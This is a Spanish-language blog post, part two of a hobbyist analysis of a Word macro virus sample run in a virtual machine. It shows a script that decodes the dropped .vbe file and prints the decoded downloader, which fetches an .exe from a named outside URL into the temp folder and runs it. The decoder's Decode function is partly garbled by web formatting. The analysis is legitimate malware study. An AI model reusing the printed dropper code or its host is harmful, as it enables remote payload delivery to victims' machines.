lunes, 4 de abril de 2016

Analizando Una Muestra De Un Virus De Macro[PARTE 2]

Hola amigos esta es la segunda parte de nuestro análisis de un virus de macro que se expuso en el foro del Hacker Net aquí el link:

http://foro.elhacker.net/analisis_y_diseno_de_malware/virus_de_macro_en_archivo_rtf-t449858.0.html

En esta parte empezaremos ejecutando nuestro archivo .xml ya reparado en una maquina virtual, primero aquí unos enlaces:

Primera Parte:  Ver aqui  y en Video: Ver aqui

Como Crear Una Maquina Virtual:  Parte 1  y Parte 2

ahora como ya tenemos nuestro archivo .xml  reparado lo copiaremos a la carpeta

"CompartidaconVirtualBox" que la tenemos en el escritorio y a nuestro archivo .xml le pondremos el nombre de virus.xml


como ya la tenemos compartida con nuestra maquina virtual pasaremos a ejecutar este archivo dentro de ella y daremos doble clic en el archivo virus.xml

Nota: Deberemos tener el Microsoft Office instalado en nuestra maquina virtual para poder abrir el archivo .xml




ahora ya que lo tenemos abierto tendremos que configurar el Microsoft Word para que ejecute la macro al abrir el archivo, para eso damos clic en


y después en la siguiente ventana elegiremos la ultima opción de abajo y daremos clic en aceptar


ahora cerramos el archivo para volverlo abrir y ahora si esperamos que se ejecute el virus y nos aparece esto

y como ven es un mensaje de error y apunta al archivo "rdFVJHkdsff.vbe" que es un tipo de archivo Visual Script Codificado y este se encuentra en la carpeta temporal.

así que daré clic en aceptar y ahora iré ala carpeta temporal presionando la tecla WINDOWS +  R   y escribo %TEMP%  y doy aceptar




y estos son los archivos que genera




ahora ya que me encuentro aquí copiare el archivo "rdFVJHkdsff.vbe"  a la carpeta que comparto para pasarlo a la maquina anfitrión y analizarlo mas bien

Nota: de aquí en adelante apagare el antivirus ya que este no me dejara abrir el archivo

ya que estoy en la maquina anfitrión lo abro con el Notepad y encuentro lo siguiente




como ven esta codificado, así que usare el código que se encuentra en esta pagina Aqui  para decodificarlo, pero con algunas modificaciones que lee hecho y quedara algo así:


option explicit
Dim oArgs, NomFichier,f
'Optional argument : the encoded filename
NomFichier=""
Set oArgs = WScript.Arguments
Select Case oArgs.Count
Case 0 'No Arg, popup a dialog box to choose the file
 'NomFichier=BrowseForFolder("Choose an encoded file", &H4031, &H0011)
 NomFichier="rdFVJHkdsff.vbe"
Case 1
 If Instr(oArgs(0),"?")=0 Then '-? ou /? => aide
  NomFichier=oArgs(0)
 End If
Case Else
 WScript.Echo "Too many parameters"
End Select
Set oArgs = Nothing

If NomFichier<>"" Then
 Dim fso
 Set fso=WScript.CreateObject("Scripting.FileSystemObject")
 If fso.FileExists(NomFichier) Then
  Dim fic,contenu
  Set fic = fso.OpenTextFile(NomFichier, 1)
  Contenu=fic.readAll
  fic.close
  Set fic=Nothing

  Const TagInit="#@~^" '#@~^awQAAA==
  Const TagFin="==^#~@" '& chr(0)
  Dim DebutCode, FinCode
  Do
   FinCode=0
   DebutCode=Instr(Contenu,TagInit)
   If DebutCode>0 Then
    If (Instr(DebutCode,Contenu,"==")-DebutCode)=10 Then 'If "==" follows the tag
     FinCode=Instr(DebutCode,Contenu,TagFin)
     If FinCode>0 Then
      Contenu=Left(Contenu,DebutCode-1) & _
      Decode(Mid(Contenu,DebutCode+12,FinCode-DebutCode-12-6)) & _
      Mid(Contenu,FinCode+6)
     End If
    End If
   End If
  Loop Until FinCode=0
  'WScript.Echo Contenu
  set f=fso.CreateTextFile("virusfinal.vbs")
  f.write(Contenu)
  f.close
 Else
  WScript.Echo Nomfichier & " not found"
 End If
 Set fso=Nothing
Else
 WScript.Echo "Please give a filename"
 WScript.Echo "Usage : " & wscript.fullname  & " " & WScript.ScriptFullName & " "
End If

Function Decode(Chaine)
 Dim se,i,c,j,index,ChaineTemp
 Dim tDecode(127)
 Const Combinaison="1231232332321323132311233213233211323231311231321323112331123132"

 Set se=WSCript.CreateObject("Scripting.Encoder")
 For i=9 to 127
  tDecode(i)="JLA"
 Next
 For i=9 to 127
  ChaineTemp=Mid(se.EncodeScriptFile(".vbs",string(3,i),0,""),13,3)
  For j=1 to 3
   c=Asc(Mid(ChaineTemp,j,1))
   tDecode(c)=Left(tDecode(c),j-1) & chr(i) & Mid(tDecode(c),j+1)
  Next
 Next
 'Next line we correct a bug, otherwise a ")" could be decoded to a ">"
 tDecode(42)=Left(tDecode(42),1) & ")" & Right(tDecode(42),1)
 Set se=Nothing

 Chaine=Replace(Replace(Chaine,"@&",chr(10)),"@#",chr(13))
 Chaine=Replace(Replace(Chaine,"@*",">"),"@!","<")
 Chaine=Replace(Chaine,"@$","@")
 index=-1
 For i=1 to Len(Chaine)
  c=asc(Mid(Chaine,i,1))
  If c<128 c="" if="" index="index+1" or="" then="">31) and (c<128 c="" if="" then="">60) and (c<>62) and (c<>64) Then
    Chaine=Left(Chaine,i-1) & Mid(tDecode(c),Mid(Combinaison,(index mod 64)+1,1),1) & Mid(Chaine,i+1)
   End If
  End If
 Next
 Decode=Chaine
End Function

Function BrowseForFolder(ByVal pstrPrompt, ByVal pintBrowseType, ByVal pintLocation)
 Dim ShellObject, pstrTempFolder, x
 Set ShellObject=WScript.CreateObject("Shell.Application")
 On Error Resume Next
 Set pstrTempFolder=ShellObject.BrowseForFolder(&H0,pstrPrompt,pintBrowseType,pintLocation)
 BrowseForFolder=pstrTempFolder.ParentFolder.ParseName(pstrTempFolder.Title).Path
 If Err.Number<>0 Then BrowseForFolder=""
 Set pstrTempFolder=Nothing
 Set ShellObject=Nothing
End Function


ahora copiamos este codigo y lo aguardamos en la carpeta donde se encuentra el virus que es la carpeta "CompartidaconVirtualBox" y le pondremos el nombre de "Desencriptar.vbs"  como ven en la imagen


y ahora daremos doble clic al desencriptar y nos crea el archivo "virusfinal.vbs", el cual daremos clic derecho y lo abriremos con el Notepad++



el cual nos muestra el siguiente código:


RTDHJkdsfFd = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%temp%")
RTDHJkdsfFd = RTDHJkdsfFd & "\"
trDYFUKdsc = "http://house.nochildforgotten.org/michigan/map.php"
HxDxVdXxSDxSF = "ojidsfc.exe" 
dim lkjhgfFFfsgb: Set lkjhgfFFfsgb = createobject("Microsoft.XMLHTTP")
dim fNxGxXlsxADAGD: Set fNxGxXlsxADAGD = createobject("Adodb.Stream")
lkjhgfFFfsgb.Open "GET", trDYFUKdsc, False
lkjhgfFFfsgb.Send

with fNxGxXlsxADAGD
    .type = 1 
    .open
    .write lkjhgfFFfsgb.responseBody
    .savetofile RTDHJkdsfFd &  HxDxVdXxSDxSF, 2 
end with
Set MNBHGdDwerttwer = CreateObject("Shell.Application") 
MNBHGdDwerttwer.Open RTDHJkdsfFd &  HxDxVdXxSDxSF


ahora remplazare el nombre de las variables para que se vea mas entendible y quedara algo así:


a = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%temp%")
a = a & "\"
b = "http://house.nochildforgotten.org/michigan/map.php"
c = "ojidsfc.exe" 
dim d: Set d = createobject("Microsoft.XMLHTTP")
dim e: Set e = createobject("Adodb.Stream")
d.Open "GET", b, False
d.Send

with e
    .type = 1 
    .open
    .write d.responseBody
    .savetofile a &  c, 2 
end with
Set f = CreateObject("Shell.Application") 
f.Open a &  c



párese que lo que ase es descargar una aplicación llamada "ojidsfc.exe" y ejecutarla

bueno creo que eso es todo de esta segunda parte, no creo que halla tercera por que lo único que queda de este virus es averiguar la clave de la macro para así ver bien todo el código pero creo que eso es imposible.

bueno saludos Flamer


No hay comentarios.:

Publicar un comentario